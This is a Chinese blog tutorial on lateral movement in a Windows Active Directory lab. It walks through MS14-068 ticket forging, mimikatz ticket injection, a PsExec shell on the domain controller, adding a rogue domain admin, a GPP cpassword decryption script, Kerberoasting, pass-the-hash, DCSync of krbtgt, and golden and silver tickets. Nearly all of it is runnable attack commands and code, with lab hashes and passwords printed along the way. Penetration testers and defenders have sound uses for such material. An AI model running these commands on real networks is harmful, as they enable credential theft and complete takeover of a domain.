内网渗透----域内横向移动

版权声明:本文为博主原创文章,未经博主允许不得转载! https://blog.csdn.net/qq_36374896/article/details/84453994

0x01.MS14-068

kerkeo工具 https://github.com/gentilkiwi/kekeo

klist
klist  purge  删除所有票据

在这里插入图片描述

直接访问域控制器的C盘目录:
dir \\qianxiao996-dm.qianxiao996.com\C$

在这里插入图片描述

查看本机用户信息,记录用户名与SID号
whoami /all

在这里插入图片描述

SID  :  S-1-5-21-2461438818-3229013638-4126918765-1108
进入MS14-068目录,使用以下命令:ip为域控的ip
MS14-068.exe -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
MS14-068.exe -u [email protected] -s S-1-5-21-2461438818-3229013638-4126918765-1108 -d 192.168.91.131 -p ABCabc123

在这里插入图片描述

生成的票据文件

在这里插入图片描述

打开mimikatz,注入票据
mimikatz # kerberos::purge          //清空当前凭证
mimikatz # kerberos::list           //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件    //将上一步生成的票据注入到内存中

在这里插入图片描述

再次列出域控制器的C盘目录:
dir \\qianxiao996-dm.qianxiao996.com\C$

在这里插入图片描述

使用PSTools目录下的PsExec.exe获取shell:
PsExec.exe \\qianxiao996-dm.qianxiao996.com cmd.exe

在这里插入图片描述

添加域管理员
net user wangergou ABCabc123 /add /domain
net group "Domain admins" wangergou /add /domain

在这里插入图片描述

0x02.GPP漏洞

组策略下发

管理工具中打开组策略管理:
在这里插入图片描述

扫描二维码关注公众号,回复: 5673129 查看本文章
选择域,并新建组织单位:

在这里插入图片描述

选择新建的组织单位,并建立GPO:

在这里插入图片描述

点击新建的GPO:

在这里插入图片描述

设定组策略作用范围:(选择一个组,必须是存在的组)

在这里插入图片描述

右键选择GPO,选择编辑–本地用户和组:

在这里插入图片描述

在这里插入图片描述

新建一个用户:

在这里插入图片描述

域成员上更新组策略,并查看用户:
gpupdate
net user

并没有成功。。。
在这里插入图片描述

查看sysvol共享文件夹:

在这里插入图片描述

文件位置:
\\qianxaio996-dm\SYSVOL\qianxiao996.com\Policies\{2999DA01-0F90-44D4-8B7A-BC405D9C349A}\Machine\Preferences\Groups
文件内容:

在这里插入图片描述

使用Get-GPPPassword

打开PowerSploit文件夹,进入Exfiltration文件夹,在当前目录打开CMD,并输入powershell –ep bypass,打开Powershell,加载模块:

Import-Module Get-GPPPassword.ps1
Get-GPPPassword

在这里插入图片描述

输入以下命令后再次运行Get-GPPPassword:

Add-Type -AssemblyName System.Core

如依然报错,则为环境问题,采取本地破解的方法。

本地破解

将\SYSVOL\Policies{GUID}\MACHINE\Preferences\Groups下的Group.xml拷贝出来,其内容如下:
在这里插入图片描述

使用脚本将其破解,powershell版本如下:

function Get-DecryptedCpassword {
    [CmdletBinding()]
    Param (
        [string] $Cpassword
    )

    try {
        #Append appropriate padding based on string length  
        $Mod = ($Cpassword.length % 4)

        switch ($Mod) {
        '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
        '2' {$Cpassword += ('=' * (4 - $Mod))}
        '3' {$Cpassword += ('=' * (4 - $Mod))}
        }

        $Base64Decoded = [Convert]::FromBase64String($Cpassword)

        #Create a new AES .NET Crypto Object
        $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
        [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                             0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)

        #Set IV to all nulls to prevent dynamic generation of IV value
        $AesIV = New-Object Byte[]($AesObject.IV.Length) 
        $AesObject.IV = $AesIV
        $AesObject.Key = $AesKey
        $DecryptorObject = $AesObject.CreateDecryptor() 
        [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)

        return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
    }

    catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "XXf1z6E2YBAPoxtS3z5gVsxzi/hSbVvi1a5ZRjwlV2w"

破解结果如下:

在这里插入图片描述

0x03.SPN票据破解

列出当前用户的票据:

Kerberos::list 

在这里插入图片描述

导出票据:

Kerberos::list /export

在这里插入图片描述

由于加密类型是RC4_HMAC_MD5,Kerberos协议第四步TGS-REP将会返回用服务帐户的NTLM密码哈希加密的票据。
使用字典进行暴力破解:(2.txt为字典)

python tgsrepcrack.py 2.txt "1-40a10000-linghuchong@MSSQLSvc~College-DS1~1433-COLLEGE.COM.kirbi"

在这里插入图片描述

Pass-The-Hash(Pass-the-key)

虽然"sekurlsa::pth"在mimikatz中被称之为"Pass The Hash",但是其已经超越了以前的"Pass The Hash",部分人将其命名为"Overpass-the-hash",也就是"Pass-the-key"
登录域成员机器,以管理员身份运行mimikatz,并输入以下命令:

privilege::debug 
 log
 sekurlsa::logonpasswords

抓取的凭证会保存在log中,打开文件可以见到administrator账户的ntlm hash:
在这里插入图片描述

在mimikatz中输入以下命令:

Sekurlsa::pth /domain:qianxiao996.com /user:administrator ```
/ntlm:上面保存的ntlm hash

在这里插入图片描述

此时可以弹出一个CMD,可列出域控服务器中的C$文件

在这里插入图片描述

0x04.Golden Ticket - 1

以管理员身份运行mimikatz,导出用户HASH

privilege::debug
log
lsadump::dcsync /user:krbtgt

在这里插入图片描述

在这里插入图片描述

Hash NTLM: b93dba67240e8236cf1ab028034779e2 
aes256_hmac:5c54f6b6d3d4ac4958cf5e04969e60700b69d2285c65ee4e2810e808f4febacc

普通用户权限,尝试列出域控目录

dir \\qianxiao996-dm.qianxiao996.com\C$

在这里插入图片描述

查看域用户,可见域管理员账户为administrator

net group "domain admins" /domain

在这里插入图片描述

查看域的SID号
在这里插入图片描述

普通用户权限打开mimikatz

kerberos::purge    #清空票据
kerberos::golden /admin:administrator /domain:qianxiao996.com /sid:S-1-5-21-2461438818-3229013638-4126918765 /krbtgt:b93dba67240e8236cf1ab028034779e2 /ticket:ticket.kirbi
kerberos::ptt ticket.kirbi
kerberos::tgt(此条命令好像并没有用)

再次尝试列出域控目录

dir \\qianxiao996-dm.qianxiao996.com\C$

在这里插入图片描述

查询用户

net user /domain

在这里插入图片描述

0x05.Golden Ticket - 2

也可以是使用aes256,也创建不存在的用户

kerberos::purge
kerberos::golden /domain:qiaoxiao996.com /sid:S-1-5-21-2461438818-3229013638-4126918765 /aes256:5c54f6b6d3d4ac4958cf5e04969e60700b69d2285c65ee4e2810e808f4febacc  /user:hello /ticket:2345.kirbi
kerberos::ptt 2345.kirbi

Silver Ticket

假设已经拿到了域控制的权限,并将域控的账户信息记录下来。

privilege::debug 
log
sekurlsa::logonPasswords

在这里插入图片描述

Username : QIANXIAO996-DM$
NTLM     : b1e99870ac1230e33233fb54f240f171

查看本机的SID

whoami /all

在这里插入图片描述

SID  S-1-5-21-2461438818-3229013638-4126918765-1108

利用此Hash制作一张LDAP服务的白银票据:

kerberos::golden /admin:zhangsanfeng /domain:qianxiao996.com /id:1108 /sid:S-1-5-21-2461438818-3229013638-4126918765-1108 /target:QIANXIAO996-DM.school.com /rc4:b1e99870ac1230e33233fb54f240f171 /service:LDAP /ptt

在这里插入图片描述

利用此票据从域控的DCSync上请求krbtgt的凭据:

lsadump::dcsync /dc:QIANXIAO996-DM.qianxiao996.com /domain:qianxiao996.com /user:krbtgt

在这里插入图片描述

有了krbtgt的凭据,再进行黄金票据攻击即可。
经测试,请求LDAP需新打开一个mimikztz窗口

猜你喜欢

转载自blog.csdn.net/qq_36374896/article/details/84453994